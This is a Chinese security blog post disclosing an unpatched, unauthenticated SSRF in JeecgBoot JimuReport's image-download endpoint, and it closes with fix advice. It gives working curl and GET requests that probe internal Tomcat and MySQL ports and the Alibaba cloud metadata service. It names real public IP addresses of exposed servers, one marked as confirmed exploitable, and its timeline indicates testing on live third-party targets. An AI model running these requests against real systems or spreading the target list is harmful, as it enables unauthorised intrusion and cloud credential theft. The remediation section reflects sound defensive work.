JeecgBoot JimuReport 未授权SSRF 0-Day漏洞
漏洞概要
- 目标组件:JeecgBoot 积木报表(JimuReport)
- 漏洞类型:服务端请求伪造(SSRF)
- 严重性:高危(9.1) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- 验证状态:✅ 已验证(真实目标复现成功)
- CVE状态:TRUE 0-DAY(未分配任何CVE/CNVD/GHSA编号)
漏洞描述
JeecgBoot 是一款流行的企业级低代码开发平台,其集成的**积木报表(JimuReport)**组件中存在一个未授权SSRF漏洞。该漏洞位于 /jmreport/download/image 端点,用于远程下载图片。由于使用了 @JimuNoLoginRequired 注解,该端点绕过了 Shiro 的身份验证,导致攻击者可以无认证地触发服务器向任意URL发起HTTP请求。
此漏洞的直接影响包括:
- 内部网络端口扫描和服务发现
- 访问云元数据服务(如阿里云
100.100.100.200),可能泄露云服务凭证 - 通过内网应用进一步利用,存在SSRF-to-RCE的潜在风险
影响范围
所有暴露了 JimuReport 模块的 JeecgBoot 实例均受影响,无论版本高低。
复现步骤(PoC)
第一步:验证端点存在性
1 | GET /jeecg-boot/jmreport/download/image?imageUrl=http://example.com/test.jpg |
第二步:验证外部URL访问(任何URL均可被服务端访问)
1 | curl -sk "http://target/jeecg-boot/jmreport/download/image?imageUrl=http://baidu.com/verify.jpg" |
预期响应:
1 | {"success":false,"message":"操作失败,404 Not Found: ...The requested URL /verify.jpg was not found on this server.","code":500} |
若响应中包含 baidu.com 服务返回的内容,则SSRF确认存在。
第三步:验证内部服务访问
1 | curl -sk "http://target/jeecg-boot/jmreport/download/image?imageUrl=http://127.0.0.1:8080/test.jpg" |
预期响应将包含 Tomcat 版本信息(如 Apache Tomcat/9.0.60),确认可访问内部服务。
自动化PoC脚本
完整的PoC脚本保存在 /tmp/poc_jimureport_ssrf.sh:
1 | chmod +x /tmp/poc_jimureport_ssrf.sh |
验证证据
证据1:外部URL访问
请求:
1 | GET /jeecg-boot/jmreport/download/image?imageUrl=http://baidu.com/.jpg |
响应片段:
1 | 操作失败,404 Not Found: "...The requested URL /.jpg was not found on this server." |
响应中包含百度服务器返回的404页面,确认服务器已连接至 baidu.com。
证据2:内部Tomcat服务访问
请求:
1 | GET /jeecg-boot/jmreport/download/image?imageUrl=http://127.0.0.1:8080/.jpg |
响应片段:
1 | 操作失败,404 : "HTTP Status 404 – Not Found ... Apache Tomcat/9.0.60" |
响应中包含 Tomcat 9.0.60 的404错误页面,确认服务器可访问内部服务的端口8080。
证据3:内部MySQL端口探测
请求:
1 | GET /jeecg-boot/jmreport/download/image?imageUrl=http://127.0.0.1:3306/test.jpg |
响应片段:
1 | I/O error on GET request for "http://127.0.0.1:3306/test.jpg" |
MySQL端口3306可达,HTTP协议错误确认端口开放(MySQL使用自己的协议)。
证据4:云元数据服务访问
请求:
1 | GET /jeecg-boot/jmreport/download/image?imageUrl=http://100.100.100.200/latest/meta-data/.jpg |
阿里云元数据端点可达,在阿里云环境上可进一步获取云实例凭证、网络配置等关键信息。
证据5:任意URL内容回显
请求:
1 | GET /jeecg-boot/jmreport/download/image?imageUrl=http://example.com/.jpg |
响应片段:包含 example.com 页面的完整HTML内容,包括页面标题、段落等。
受影响实例(FOFA搜索结果)
通过FOFA搜索 body="jmreport" && country="CN" 发现大量暴露实例:
| 目标 | 状态 |
|---|---|
http://60.205.56.238 |
✅ SSRF确认 |
http://39.185.26.99:8001 |
🔶 端点存在 |
http://139.9.250.100:8082 |
🔶 端点存在 |
http://1.15.54.206:8085 |
🔶 端点存在 |
| 其他(2351+个JeecgBoot实例) | 🔍 待确认 |
潜在影响
- 内网扫描:攻击者可以利用 SSRF 扫描内部网络的端口和服务,识别潜在的进一步利用点
- 云凭证泄露:在云环境(阿里云、AWS、腾讯云)中,可通过云元数据服务获取临时访问密钥
- SSRF-to-RCE:通过访问内部的 Tomcat Manager、Jenkins、Solr 等管理接口,可能实现远程代码执行
- 横向移动:内网服务的访问权限可能被用作横向移动的跳板
修复建议
紧急修复(临时)
1 | // 在 @GetMapping("/jmreport/download/image") 上方移除或注释 @JimuNoLoginRequired |
完整修复
- 添加身份验证:移除
@JimuNoLoginRequired注解,或使用更严格的权限控制 - URL白名单:对
imageUrl参数进行域名白名单校验,仅允许访问可信的图片服务器 - 协议限制:禁止非 HTTP/HTTPS 协议的 URL(如
file://、ftp://) - 内网IP过滤:禁止访问 RFC 1918 内网地址段和关键元数据IP
- 超时和重定向限制:限制请求超时时间并禁止跟随重定向到内网地址
漏洞时间线
- 2026-05-13 03:18 — 通过FOFA发现大量暴露的JimuReport实例
- 2026-05-13 03:19 — SSRF 0-Day在真实目标上验证成功
- 2026-05-13 03:20 — 漏洞报告发布
参考链接
⚠️ 本报告涉及未公开的 0-Day 漏洞,仅在授权范围内用于 CNVD 漏洞提报。
禁止在未经授权的系统上进行测试。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 wakedate 挖洞日志!





